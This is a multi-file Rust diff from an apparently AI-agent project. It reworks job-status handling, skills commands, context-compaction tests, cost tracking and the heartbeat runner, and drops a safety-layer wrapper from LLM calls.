ctx.created_at.format("%Y-%m-%d %H:%M:%S"),
ctx.started_at
.map(|t| t.format("%Y-%m-%d %H:%M:%S").to_string())
.unwrap_or_else(|| "Not started".to_string()),
ctx.actual_cost
));
}
let ctx = self.context_manager.get_context(uuid).await?;
if ctx.user_id != user_id {
return Err(crate::error::JobError::NotFound { id: uuid }.into());
@@ -151,38 +136,10 @@ impl Agent {
))
}
None => {
// Show summary from DB for consistency with Jobs tab.
if let Some(store) = self.store() {
let mut total = 0;
let mut in_progress = 0;
let mut completed = 0;
let mut failed = 0;
let mut stuck = 0;
if let Ok(s) = store.agent_job_summary().await {
total += s.total;
in_progress += s.in_progress;
completed += s.completed;
failed += s.failed;
stuck += s.stuck;
}
if let Ok(s) = store.sandbox_job_summary().await {
total += s.total;
in_progress += s.running;
completed += s.completed;
failed += s.failed + s.interrupted;
}
return Ok(format!(
"Jobs summary: Total: {} In Progress: {} Completed: {} Failed: {} Stuck: {}",
total, in_progress, completed, failed, stuck
));
}
// Fallback to ContextManager if no DB.
// Show summary of all jobs
let summary = self.context_manager.summary_for(user_id).await;
Ok(format!(
"Jobs summary: Total: {} In Progress: {} Completed: {} Failed: {} Stuck: {}",
"Jobs summary:\n Total: {}\n In Progress: {}\n Completed: {}\n Failed: {}\n Stuck: {}",
summary.total,
summary.in_progress,
summary.completed,
@@ -204,15 +161,6 @@ impl Agent {
self.scheduler.stop(uuid).await?;
// Also update DB so the Jobs tab reflects cancellation immediately.
if let Some(store) = self.store()
&& let Err(e) = store
.update_job_status(uuid, JobState::Cancelled, Some("Cancelled by user"))
.await
{
tracing::warn!(job_id = %uuid, "Failed to persist cancellation to DB: {}", e);
}
Ok(format!("Job {} has been cancelled.", job_id))
}
@@ -221,49 +169,21 @@ impl Agent {
user_id: &str,
_filter: Option<String>,
) -> Result<String, Error> {
// List from DB for consistency with Jobs tab.
if let Some(store) = self.store() {
let agent_jobs = match store.list_agent_jobs().await {
Ok(jobs) => jobs,
Err(e) => {
tracing::warn!("Failed to list agent jobs: {}", e);
Vec::new()
}
};
let sandbox_jobs = match store.list_sandbox_jobs().await {
Ok(jobs) => jobs,
Err(e) => {
tracing::warn!("Failed to list sandbox jobs: {}", e);
Vec::new()
}
};
if agent_jobs.is_empty() && sandbox_jobs.is_empty() {
return Ok("No jobs found.".to_string());
}
let mut output = String::from("Jobs:\n");
for j in &agent_jobs {
output.push_str(&format!(" {} - {} ({})\n", j.id, j.title, j.status));
}
for j in &sandbox_jobs {
output.push_str(&format!(" {} - {} ({})\n", j.id, j.task, j.status));
}
return Ok(output);
}
// Fallback to ContextManager if no DB.
let jobs = self.context_manager.all_jobs_for(user_id).await;
if jobs.is_empty() {
return Ok("No jobs found.".to_string());
}
let mut output = String::from("Jobs:\n");
for job_id in jobs {
if let Ok(ctx) = self.context_manager.get_context(job_id).await {
if let Ok(ctx) = self.context_manager.get_context(job_id).await
&& ctx.user_id == user_id
{
output.push_str(&format!(" {} - {} ({:?})\n", job_id, ctx.title, ctx.state));
}
}
Ok(output)
}
@@ -302,33 +222,6 @@ impl Agent {
}
}
/// Show job status inline — either all jobs (no id) or a specific job.
pub(super) async fn process_job_status(
&self,
user_id: &str,
job_id: Option<&str>,
) -> Result<SubmissionResult, Error> {
match self
.handle_check_status(user_id, job_id.map(|s| s.to_string()))
.await
{
Ok(text) => Ok(SubmissionResult::response(text)),
Err(e) => Ok(SubmissionResult::error(format!("Job status error: {}", e))),
}
}
/// Cancel a job by ID.
pub(super) async fn process_job_cancel(
&self,
user_id: &str,
job_id: &str,
) -> Result<SubmissionResult, Error> {
match self.handle_cancel_job(user_id, job_id).await {
Ok(text) => Ok(SubmissionResult::response(text)),
Err(e) => Ok(SubmissionResult::error(format!("Cancel error: {}", e))),
}
}
/// Trigger a manual heartbeat check.
pub(super) async fn process_heartbeat(&self) -> Result<SubmissionResult, Error> {
let Some(workspace) = self.workspace() else {
@@ -342,7 +235,6 @@ impl Agent {
crate::workspace::hygiene::HygieneConfig::default(),
workspace.clone(),
self.llm().clone(),
self.safety().clone(),
);
match runner.check_heartbeat().await {
@@ -403,11 +295,10 @@ impl Agent {
.with_max_tokens(512)
.with_temperature(0.3);
let reasoning = Reasoning::new(self.llm().clone(), self.safety().clone());
match reasoning.complete(request).await {
Ok((text, _usage)) => Ok(SubmissionResult::response(format!(
match self.llm().complete(request).await {
Ok(response) => Ok(SubmissionResult::response(format!(
"Thread Summary:\n\n{}",
text.trim()
response.content.trim()
))),
Err(e) => Ok(SubmissionResult::error(format!("Summarize failed: {}", e))),
}
@@ -451,11 +342,10 @@ impl Agent {
.with_max_tokens(512)
.with_temperature(0.5);
let reasoning = Reasoning::new(self.llm().clone(), self.safety().clone());
match reasoning.complete(request).await {
Ok((text, _usage)) => Ok(SubmissionResult::response(format!(
match self.llm().complete(request).await {
Ok(response) => Ok(SubmissionResult::response(format!(
"Suggested Next Steps:\n\n{}",
text.trim()
response.content.trim()
))),
Err(e) => Ok(SubmissionResult::error(format!("Suggest failed: {}", e))),
}
@@ -493,10 +383,6 @@ impl Agent {
" /thread <id> Switch to thread\n",
" /resume <id> Resume from checkpoint\n",
"\n",
"Skills:\n",
" /skills List installed skills\n",
" /skills search <q> Search ClawHub registry\n",
"\n",
"Agent:\n",
" /heartbeat Run heartbeat check\n",
" /summarize Summarize current thread\n",
@@ -529,22 +415,6 @@ impl Agent {
))
}
"skills" => {
if args.first().map(|s| s.as_str()) == Some("search") {
let query = args[1..].join(" ");
if query.is_empty() {
return Ok(SubmissionResult::error("Usage: /skills search <query>"));
}
self.handle_skills_search(&query).await
} else if args.is_empty() {
self.handle_skills_list().await
} else {
Ok(SubmissionResult::error(
"Usage: /skills or /skills search <query>",
))
}
}
"model" => {
let current = self.llm().active_model_name();
@@ -615,129 +485,6 @@ impl Agent {
}
}
/// List installed skills.
async fn handle_skills_list(&self) -> Result<SubmissionResult, Error> {
let Some(registry) = self.skill_registry() else {
return Ok(SubmissionResult::error("Skills system not enabled."));
};
let guard = match registry.read() {
Ok(g) => g,
Err(e) => {
return Ok(SubmissionResult::error(format!(
"Skill registry lock error: {}",
e
)));
}
};
let skills = guard.skills();
if skills.is_empty() {
return Ok(SubmissionResult::response(
"No skills installed.\n\nUse /skills search <query> to find skills on ClawHub.",
));
}
let mut out = String::from("Installed skills:\n\n");
for s in skills {
let desc = if s.manifest.description.chars().count() > 60 {
let truncated: String = s.manifest.description.chars().take(57).collect();
format!("{}...", truncated)
} else {
s.manifest.description.clone()
};
out.push_str(&format!(
" {:<24} v{:<10} [{}] {}\n",
s.manifest.name, s.manifest.version, s.trust, desc,
));
}
out.push_str("\nUse /skills search <query> to find more on ClawHub.");
Ok(SubmissionResult::response(out))
}
/// Search ClawHub for skills.
async fn handle_skills_search(&self, query: &str) -> Result<SubmissionResult, Error> {
let catalog = match self.skill_catalog() {
Some(c) => c,
None => {
return Ok(SubmissionResult::error("Skill catalog not available."));
}
};
let outcome = catalog.search(query).await;
// Enrich top results with detail data (stars, downloads, owner)
let mut entries = outcome.results;
catalog.enrich_search_results(&mut entries, 5).await;
let mut out = format!("ClawHub results for \"{}\":\n\n", query);
if entries.is_empty() {
if let Some(ref err) = outcome.error {
out.push_str(&format!(" (registry error: {})\n", err));
} else {
out.push_str(" No results found.\n");
}
} else {
for entry in &entries {
let owner_str = entry
.owner
.as_deref()
.map(|o| format!(" by {}", o))
.unwrap_or_default();
let stats_parts: Vec<String> = [
entry.stars.map(|s| format!("{} stars", s)),
entry.downloads.map(|d| format_count(d, "downloads")),
]
.into_iter()
.flatten()
.collect();
let stats_str = if stats_parts.is_empty() {
String::new()
} else {
format!(" {}", stats_parts.join(" "))
};
out.push_str(&format!(
" {:<24} v{:<10}{}{}\n",
entry.name, entry.version, owner_str, stats_str,
));
if !entry.description.is_empty() {
out.push_str(&format!(" {}\n\n", entry.description));
}
}
}
// Show matching installed skills
if let Some(registry) = self.skill_registry()
&& let Ok(guard) = registry.read()
{
let query_lower = query.to_lowercase();
let matches: Vec<_> = guard
.skills()
.iter()
.filter(|s| {
s.manifest.name.to_lowercase().contains(&query_lower)
|| s.manifest.description.to_lowercase().contains(&query_lower)
})
.collect();
if !matches.is_empty() {
out.push_str(&format!("Installed skills matching \"{}\":\n", query));
for s in &matches {
out.push_str(&format!(
" {:<24} v{:<10} [{}]\n",
s.manifest.name, s.manifest.version, s.trust,
));
}
}
}
Ok(SubmissionResult::response(out))
}
/// Handle legacy command routing from the Router (job commands that go through
/// process_user_input -> router -> handle_job_or_command -> here).
pub(super) async fn handle_command(
+5 -486
View File
@@ -12,8 +12,7 @@ use chrono::Utc;
use crate::agent::context_monitor::{CompactionStrategy, ContextBreakdown};
use crate::agent::session::Thread;
use crate::error::Error;
use crate::llm::{ChatMessage, CompletionRequest, LlmProvider, Reasoning};
use crate::safety::SafetyLayer;
use crate::llm::{ChatMessage, CompletionRequest, LlmProvider};
use crate::workspace::Workspace;
/// Result of a compaction operation.
@@ -34,13 +33,12 @@ pub struct CompactionResult {
/// Compacts conversation context to stay within limits.
pub struct ContextCompactor {
llm: Arc<dyn LlmProvider>,
safety: Arc<SafetyLayer>,
}
impl ContextCompactor {
/// Create a new context compactor.
pub fn new(llm: Arc<dyn LlmProvider>, safety: Arc<SafetyLayer>) -> Self {
Self { llm, safety }
pub fn new(llm: Arc<dyn LlmProvider>) -> Self {
Self { llm }
}
/// Compact a thread's context using the given strategy.
@@ -233,9 +231,8 @@ Be brief but capture all important details. Use bullet points."#,
.with_max_tokens(1024)
.with_temperature(0.3);
let reasoning = Reasoning::new(self.llm.clone(), self.safety.clone());
let (text, _) = reasoning.complete(request).await?;
Ok(text)
let response = self.llm.complete(request).await?;
Ok(response.content)
}
/// Write a summary to the workspace daily log.
@@ -342,482 +339,4 @@ mod tests {
assert_eq!(partial.turns_removed, 0);
assert!(!partial.summary_written);
}
// === QA Plan - Compaction strategy tests ===
use crate::agent::context_monitor::CompactionStrategy;
use crate::config::SafetyConfig;
use crate::safety::SafetyLayer;
use crate::testing::StubLlm;
/// Helper: build a `ContextCompactor` with the given `StubLlm`.
fn make_compactor(llm: Arc<StubLlm>) -> ContextCompactor {
let safety = Arc::new(SafetyLayer::new(&SafetyConfig {
max_output_length: 100_000,
injection_check_enabled: false,
}));
ContextCompactor::new(llm, safety)
}
/// Helper: build a thread with `n` completed turns.
/// Turn `i` has user_input "msg-{i}" and response "resp-{i}".
fn make_thread(n: usize) -> Thread {
let mut thread = Thread::new(Uuid::new_v4());
for i in 0..n {
thread.start_turn(format!("msg-{}", i));
thread.complete_turn(format!("resp-{}", i));
}
thread
}
// ------------------------------------------------------------------
// 1. compact_truncate keeps last N turns
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_truncate_keeps_last_n() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(10);
assert_eq!(thread.turns.len(), 10);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 3 },
None,
)
.await
.expect("compact should succeed");
// Only 3 turns remain
assert_eq!(thread.turns.len(), 3);
// They are the most recent ones (msg-7, msg-8, msg-9)
assert_eq!(thread.turns[0].user_input, "msg-7");
assert_eq!(thread.turns[1].user_input, "msg-8");
assert_eq!(thread.turns[2].user_input, "msg-9");
// Turn numbers are re-indexed to 0, 1, 2
assert_eq!(thread.turns[0].turn_number, 0);
assert_eq!(thread.turns[1].turn_number, 1);
assert_eq!(thread.turns[2].turn_number, 2);
// Result metadata
assert_eq!(result.turns_removed, 7);
assert!(!result.summary_written);
assert!(result.summary.is_none());
// Tokens should be reported (before > 0 since we had content)
assert!(result.tokens_before > 0);
assert!(result.tokens_after > 0);
assert!(result.tokens_before > result.tokens_after);
}
// ------------------------------------------------------------------
// 2. compact_truncate with fewer turns than limit (no-op)
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_truncate_with_fewer_turns_than_limit() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(2);
let original_inputs: Vec<String> =
thread.turns.iter().map(|t| t.user_input.clone()).collect();
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 5 },
None,
)
.await
.expect("compact should succeed");
// All turns preserved
assert_eq!(thread.turns.len(), 2);
assert_eq!(thread.turns[0].user_input, original_inputs[0]);
assert_eq!(thread.turns[1].user_input, original_inputs[1]);
// No turns removed
assert_eq!(result.turns_removed, 0);
assert!(!result.summary_written);
assert!(result.summary.is_none());
}
// ------------------------------------------------------------------
// 3. compact_truncate with empty turns list
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_truncate_empty_turns() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = Thread::new(Uuid::new_v4());
assert!(thread.turns.is_empty());
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 3 },
None,
)
.await
.expect("compact should succeed on empty turns");
assert!(thread.turns.is_empty());
assert_eq!(result.turns_removed, 0);
assert_eq!(result.tokens_before, 0);
assert_eq!(result.tokens_after, 0);
}
// ------------------------------------------------------------------
// 4. compact_with_summary produces summary turn via StubLlm
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_with_summary_produces_summary_turn() {
let canned_summary =
"- User greeted the agent\n- Agent responded warmly\n- Five exchanges completed";
let llm = Arc::new(StubLlm::new(canned_summary));
let compactor = make_compactor(llm.clone());
let mut thread = make_thread(5);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Summarize { keep_recent: 2 },
None,
)
.await
.expect("compact with summary should succeed");
// Should keep only 2 recent turns
assert_eq!(thread.turns.len(), 2);
// The kept turns should be the last two (msg-3, msg-4)
assert_eq!(thread.turns[0].user_input, "msg-3");
assert_eq!(thread.turns[1].user_input, "msg-4");
// Result should report the summary
assert_eq!(result.turns_removed, 3);
assert!(result.summary.is_some());
let summary = result.summary.unwrap();
assert!(summary.contains("User greeted the agent"));
assert!(summary.contains("Five exchanges completed"));
// summary_written should be false since no workspace was provided
assert!(!result.summary_written);
// StubLlm should have been called exactly once for the summary
assert_eq!(llm.calls(), 1);
}
// ------------------------------------------------------------------
// 5. compact_with_summary: LLM failure returns error (does not corrupt thread)
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_with_summary_llm_failure() {
let llm = Arc::new(StubLlm::failing("broken-llm"));
let compactor = make_compactor(llm.clone());
let mut thread = make_thread(8);
let original_len = thread.turns.len();
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Summarize { keep_recent: 3 },
None,
)
.await;
// The LLM failure should propagate as an error
assert!(result.is_err());
// The thread should NOT have been modified (turns not truncated
// on failure, since the error occurs before truncation)
assert_eq!(thread.turns.len(), original_len);
}
// ------------------------------------------------------------------
// 6. compact_with_summary: fewer turns than keep_recent is a no-op
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_with_summary_fewer_turns_than_keep() {
let llm = Arc::new(StubLlm::new("should not be called"));
let compactor = make_compactor(llm.clone());
let mut thread = make_thread(3);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Summarize { keep_recent: 5 },
None,
)
.await
.expect("compact should succeed");
// No turns removed, LLM never called
assert_eq!(thread.turns.len(), 3);
assert_eq!(result.turns_removed, 0);
assert!(result.summary.is_none());
assert_eq!(llm.calls(), 0);
}
// ------------------------------------------------------------------
// 7. compact_to_workspace without workspace falls back to truncation
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_to_workspace_without_workspace_falls_back() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(20);
let result = compactor
.compact(&mut thread, CompactionStrategy::MoveToWorkspace, None)
.await
.expect("compact should succeed");
// Without a workspace, compact_to_workspace falls back to truncation
// keeping 5 turns (the hardcoded fallback in the code)
assert_eq!(thread.turns.len(), 5);
assert_eq!(result.turns_removed, 15);
// The remaining turns should be the last 5
assert_eq!(thread.turns[0].user_input, "msg-15");
assert_eq!(thread.turns[4].user_input, "msg-19");
}
// ------------------------------------------------------------------
// 8. compact_to_workspace: fewer turns than keep is a no-op
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_to_workspace_fewer_turns_noop() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
// MoveToWorkspace keeps 10 turns when workspace is available.
// Without workspace it falls back to truncate(5).
// With fewer turns, test the no-workspace fallback path:
let mut thread = make_thread(4);
let result = compactor
.compact(&mut thread, CompactionStrategy::MoveToWorkspace, None)
.await
.expect("compact should succeed");
// 4 turns < 5 (fallback keep_recent), so no truncation
assert_eq!(thread.turns.len(), 4);
assert_eq!(result.turns_removed, 0);
}
// ------------------------------------------------------------------
// 9. format_turns_for_storage includes tool calls
// ------------------------------------------------------------------
#[test]
fn test_format_turns_for_storage_with_tool_calls() {
let mut thread = Thread::new(Uuid::new_v4());
thread.start_turn("Search for X");
// Record a tool call on the current turn
if let Some(turn) = thread.turns.last_mut() {
turn.record_tool_call("search", serde_json::json!({"query": "X"}));
}
thread.complete_turn("Found X");
let formatted = format_turns_for_storage(&thread.turns);
assert!(formatted.contains("Turn 1"));
assert!(formatted.contains("Search for X"));
assert!(formatted.contains("Found X"));
assert!(formatted.contains("Tools: search"));
}
// ------------------------------------------------------------------
// 10. format_turns_for_storage with no response (incomplete turn)
// ------------------------------------------------------------------
#[test]
fn test_format_turns_for_storage_incomplete_turn() {
let mut thread = Thread::new(Uuid::new_v4());
thread.start_turn("In progress message");
// Don't complete the turn
let formatted = format_turns_for_storage(&thread.turns);
assert!(formatted.contains("Turn 1"));
assert!(formatted.contains("In progress message"));
// No "Agent:" line since response is None
assert!(!formatted.contains("Agent:"));
}
// ------------------------------------------------------------------
// 11. format_turns_for_storage empty list
// ------------------------------------------------------------------
#[test]
fn test_format_turns_for_storage_empty() {
let formatted = format_turns_for_storage(&[]);
assert!(formatted.is_empty());
}
// ------------------------------------------------------------------
// 12. Token counts decrease after truncation
// ------------------------------------------------------------------
#[tokio::test]
async fn test_tokens_decrease_after_compaction() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(20);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 5 },
None,
)
.await
.expect("compact should succeed");
assert!(
result.tokens_after < result.tokens_before,
"tokens_after ({}) should be less than tokens_before ({})",
result.tokens_after,
result.tokens_before
);
}
// ------------------------------------------------------------------
// 13. compact_with_summary: keep_recent=0 removes all turns
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_truncate_keep_zero() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(5);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 0 },
None,
)
.await
.expect("compact should succeed");
assert!(thread.turns.is_empty());
assert_eq!(result.turns_removed, 5);
assert_eq!(result.tokens_after, 0);
}
// ------------------------------------------------------------------
// 14. Summarize with keep_recent=0 summarizes all and removes all
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_with_summary_keep_zero() {
let llm = Arc::new(StubLlm::new("Summary of all turns"));
let compactor = make_compactor(llm.clone());
let mut thread = make_thread(5);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Summarize { keep_recent: 0 },
None,
)
.await
.expect("compact should succeed");
assert!(thread.turns.is_empty());
assert_eq!(result.turns_removed, 5);
assert!(result.summary.is_some());
assert_eq!(result.summary.unwrap(), "Summary of all turns");
assert_eq!(llm.calls(), 1);
}
// ------------------------------------------------------------------
// 15. Messages are correctly built from turns for thread.messages()
// after compaction
// ------------------------------------------------------------------
#[tokio::test]
async fn test_messages_coherent_after_compaction() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(10);
compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 3 },
None,
)
.await
.expect("compact should succeed");
let messages = thread.messages();
// 3 turns * 2 messages each (user + assistant) = 6
assert_eq!(messages.len(), 6);
// Verify alternating user/assistant pattern
for (i, msg) in messages.iter().enumerate() {
if i % 2 == 0 {
assert_eq!(msg.role, crate::llm::Role::User);
} else {
assert_eq!(msg.role, crate::llm::Role::Assistant);
}
}
// Verify content matches the last 3 original turns
assert_eq!(messages[0].content, "msg-7");
assert_eq!(messages[1].content, "resp-7");
assert_eq!(messages[4].content, "msg-9");
assert_eq!(messages[5].content, "resp-9");
}
// ------------------------------------------------------------------
// 16. Multiple sequential compactions work correctly
// ------------------------------------------------------------------
#[tokio::test]
async fn test_sequential_compactions() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(20);
// First compaction: 20 -> 10
let r1 = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 10 },
None,
)
.await
.expect("first compact");
assert_eq!(thread.turns.len(), 10);
assert_eq!(r1.turns_removed, 10);
// Second compaction: 10 -> 3
let r2 = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 3 },
None,
)
.await
.expect("second compact");
assert_eq!(thread.turns.len(), 3);
assert_eq!(r2.turns_removed, 7);
// The remaining turns should be the very last 3 from the original 20
assert_eq!(thread.turns[0].user_input, "msg-17");
assert_eq!(thread.turns[1].user_input, "msg-18");
assert_eq!(thread.turns[2].user_input, "msg-19");
}
}
+9 -75
View File
@@ -4,7 +4,7 @@
//! to prevent runaway agents from burning through API credits. Especially
//! important for daemon/heartbeat modes where the agent acts autonomously.
use std::collections::{HashMap, VecDeque};
use std::collections::VecDeque;
use std::sync::atomic::{AtomicBool, Ordering};
use std::time::Instant;
@@ -53,14 +53,6 @@ impl std::fmt::Display for CostLimitExceeded {
}
}
/// Per-model token usage counters.
#[derive(Debug, Clone, Default)]
pub struct ModelTokens {
pub input_tokens: u64,
pub output_tokens: u64,
pub cost: Decimal,
}
/// Tracks costs and action rates, enforcing configurable limits.
///
/// Thread-safe; designed to be shared via `Arc<CostGuard>`.
@@ -75,9 +67,6 @@ pub struct CostGuard {
/// Flag set when daily budget is exceeded to short-circuit checks.
budget_exceeded: AtomicBool,
/// Per-model token usage since startup.
model_tokens: Mutex<HashMap<String, ModelTokens>>,
}
struct DailyCost {
@@ -96,7 +85,6 @@ impl CostGuard {
}),
action_window: Mutex::new(VecDeque::new()),
budget_exceeded: AtomicBool::new(false),
model_tokens: Mutex::new(HashMap::new()),
}
}
@@ -151,19 +139,14 @@ impl CostGuard {
/// Record a completed LLM action: its token costs and the action timestamp.
///
/// Call this AFTER an LLM call completes so that costs are tracked.
///
/// When `cost_per_token` is `Some`, those rates are used directly (provider-
/// sourced pricing). When `None`, falls back to the static `costs::model_cost`
/// lookup table, then `costs::default_cost`.
pub async fn record_llm_call(
&self,
model: &str,
input_tokens: u32,
output_tokens: u32,
cost_per_token: Option<(Decimal, Decimal)>,
) -> Decimal {
let (input_rate, output_rate) = cost_per_token
.unwrap_or_else(|| costs::model_cost(model).unwrap_or_else(costs::default_cost));
let (input_rate, output_rate) =
costs::model_cost(model).unwrap_or_else(costs::default_cost);
let cost =
input_rate * Decimal::from(input_tokens) + output_rate * Decimal::from(output_tokens);
@@ -209,15 +192,6 @@ impl CostGuard {
window.push_back(Instant::now());
}
// Track per-model token usage
{
let mut tokens = self.model_tokens.lock().await;
let entry = tokens.entry(model.to_string()).or_default();
entry.input_tokens += u64::from(input_tokens);
entry.output_tokens += u64::from(output_tokens);
entry.cost += cost;
}
cost
}
@@ -241,11 +215,6 @@ impl CostGuard {
}
window.len() as u64
}
/// Per-model token usage since startup.
pub async fn model_usage(&self) -> HashMap<String, ModelTokens> {
self.model_tokens.lock().await.clone()
}
}
/// Convert a Decimal USD amount to whole cents (truncated).
@@ -266,9 +235,7 @@ mod tests {
assert!(guard.check_allowed().await.is_ok());
// Record a big call, still allowed
guard
.record_llm_call("gpt-4o", 100_000, 100_000, None)
.await;
guard.record_llm_call("gpt-4o", 100_000, 100_000).await;
assert!(guard.check_allowed().await.is_ok());
}
@@ -285,7 +252,7 @@ mod tests {
// Record a call that costs more than $0.01
// gpt-4o: input=$0.0000025/tok, output=$0.00001/tok
// 10000 input + 10000 output = $0.025 + $0.10 = $0.125
guard.record_llm_call("gpt-4o", 10_000, 10_000, None).await;
guard.record_llm_call("gpt-4o", 10_000, 10_000).await;
// Now should be blocked
let result = guard.check_allowed().await;
@@ -308,7 +275,7 @@ mod tests {
// First 3 actions allowed
for _ in 0..3 {
assert!(guard.check_allowed().await.is_ok());
guard.record_llm_call("gpt-4o", 10, 10, None).await;
guard.record_llm_call("gpt-4o", 10, 10).await;
}
// 4th should be blocked
@@ -329,7 +296,7 @@ mod tests {
assert_eq!(guard.daily_spend().await, Decimal::ZERO);
let cost = guard.record_llm_call("gpt-4o", 1000, 500, None).await;
let cost = guard.record_llm_call("gpt-4o", 1000, 500).await;
assert!(cost > Decimal::ZERO);
assert_eq!(guard.daily_spend().await, cost);
}
@@ -340,8 +307,8 @@ mod tests {
assert_eq!(guard.actions_this_hour().await, 0);
guard.record_llm_call("gpt-4o", 10, 10, None).await;
guard.record_llm_call("gpt-4o", 10, 10, None).await;
guard.record_llm_call("gpt-4o", 10, 10).await;
guard.record_llm_call("gpt-4o", 10, 10).await;
assert_eq!(guard.actions_this_hour().await, 2);
}
@@ -369,37 +336,4 @@ mod tests {
assert!(rate.to_string().contains("101 actions"));
assert!(rate.to_string().contains("100 allowed"));
}
#[tokio::test]
async fn test_model_usage_per_model_tracking() {
let guard = CostGuard::new(CostGuardConfig::default());
// Initially empty
assert!(guard.model_usage().await.is_empty());
// Record calls for two different models
guard.record_llm_call("gpt-4o", 1000, 500, None).await;
guard.record_llm_call("gpt-4o", 2000, 1000, None).await;
guard
.record_llm_call("claude-3-5-sonnet-20241022", 500, 200, None)
.await;
let usage = guard.model_usage().await;
assert_eq!(usage.len(), 2);
let gpt = usage.get("gpt-4o").expect("gpt-4o should be tracked");
assert_eq!(gpt.input_tokens, 3000);
assert_eq!(gpt.output_tokens, 1500);
assert!(gpt.cost > Decimal::ZERO);
let claude = usage
.get("claude-3-5-sonnet-20241022")
.expect("claude should be tracked");
assert_eq!(claude.input_tokens, 500);
assert_eq!(claude.output_tokens, 200);
assert!(claude.cost > Decimal::ZERO);
// Costs should differ since models have different pricing
assert_ne!(gpt.cost, claude.cost);
}
}
+63 -827
View File
File diff suppressed because it is too large Load Diff
+13 -12
View File
@@ -29,8 +29,7 @@ use std::time::Duration;
use tokio::sync::mpsc;
use crate::channels::OutgoingResponse;
use crate::llm::{ChatMessage, CompletionRequest, LlmProvider, Reasoning};
use crate::safety::SafetyLayer;
use crate::llm::{ChatMessage, CompletionRequest, FinishReason, LlmProvider};
use crate::workspace::Workspace;
use crate::workspace::hygiene::HygieneConfig;
@@ -101,7 +100,6 @@ pub struct HeartbeatRunner {
hygiene_config: HygieneConfig,
workspace: Arc<Workspace>,
llm: Arc<dyn LlmProvider>,
safety: Arc<SafetyLayer>,
response_tx: Option<mpsc::Sender<OutgoingResponse>>,
consecutive_failures: u32,
}
@@ -113,14 +111,12 @@ impl HeartbeatRunner {
hygiene_config: HygieneConfig,
workspace: Arc<Workspace>,
llm: Arc<dyn LlmProvider>,
safety: Arc<SafetyLayer>,
) -> Self {
Self {
config,
hygiene_config,
workspace,
llm,
safety,
response_tx: None,
consecutive_failures: 0,
}
@@ -262,18 +258,25 @@ impl HeartbeatRunner {
.with_max_tokens(max_tokens)
.with_temperature(0.3);
let reasoning = Reasoning::new(self.llm.clone(), self.safety.clone());
let (content, _usage) = match reasoning.complete(request).await {
let response = match self.llm.complete(request).await {
Ok(r) => r,
Err(e) => return HeartbeatResult::Failed(format!("LLM call failed: {}", e)),
};
let content = content.trim();
let content = response.content.trim();
// Guard against empty content. Reasoning models (e.g. GLM-4.7) may
// burn all output tokens on chain-of-thought and return content: null.
if content.is_empty() {
return HeartbeatResult::Failed("LLM returned empty content.".to_string());
return if response.finish_reason == FinishReason::Length {
HeartbeatResult::Failed(
"LLM response was truncated (finish_reason=length) with no content. \
The model may have exhausted its token budget on reasoning."
.to_string(),
)
} else {
HeartbeatResult::Failed("LLM returned empty content.".to_string())
};
}
// Check if nothing needs attention
@@ -294,7 +297,6 @@ impl HeartbeatRunner {
let response = OutgoingResponse {
content: format!("🔔 *Heartbeat Alert*\n\n{}", message),
thread_id: None,
attachments: Vec::new(),
metadata: serde_json::json!({
"source": "heartbeat",
}),
@@ -353,10 +355,9 @@ pub fn spawn_heartbeat(
hygiene_config: HygieneConfig,
workspace: Arc<Workspace>,
llm: Arc<dyn LlmProvider>,
safety: Arc<SafetyLayer>,
response_tx: Option<mpsc::Sender<OutgoingResponse>>,
) -> tokio::task::JoinHandle<()> {
let mut runner = HeartbeatRunner::new(config, hygiene_config, workspace, llm, safety);
let mut runner = HeartbeatRunner::new(config, hygiene_config, workspace, llm);
if let Some(tx) = response_tx {
runner = runner.with_response_channel(tx);
}
+26 -67
View File
@@ -19,7 +19,6 @@ use regex::Regex;
use tokio::sync::{RwLock, mpsc};
use uuid::Uuid;
use crate::agent::Scheduler;
use crate::agent::routine::{
NotifyConfig, Routine, RoutineAction, RoutineRun, RunStatus, Trigger, next_cron_fire,
};
@@ -42,8 +41,6 @@ pub struct RoutineEngine {
running_count: Arc<AtomicUsize>,
/// Compiled event regex cache: routine_id -> compiled regex.
event_cache: Arc<RwLock<Vec<(Uuid, Routine, Regex)>>>,
/// Scheduler for dispatching jobs (FullJob mode).
scheduler: Option<Arc<Scheduler>>,
}
impl RoutineEngine {
@@ -53,7 +50,6 @@ impl RoutineEngine {
llm: Arc<dyn LlmProvider>,
workspace: Arc<Workspace>,
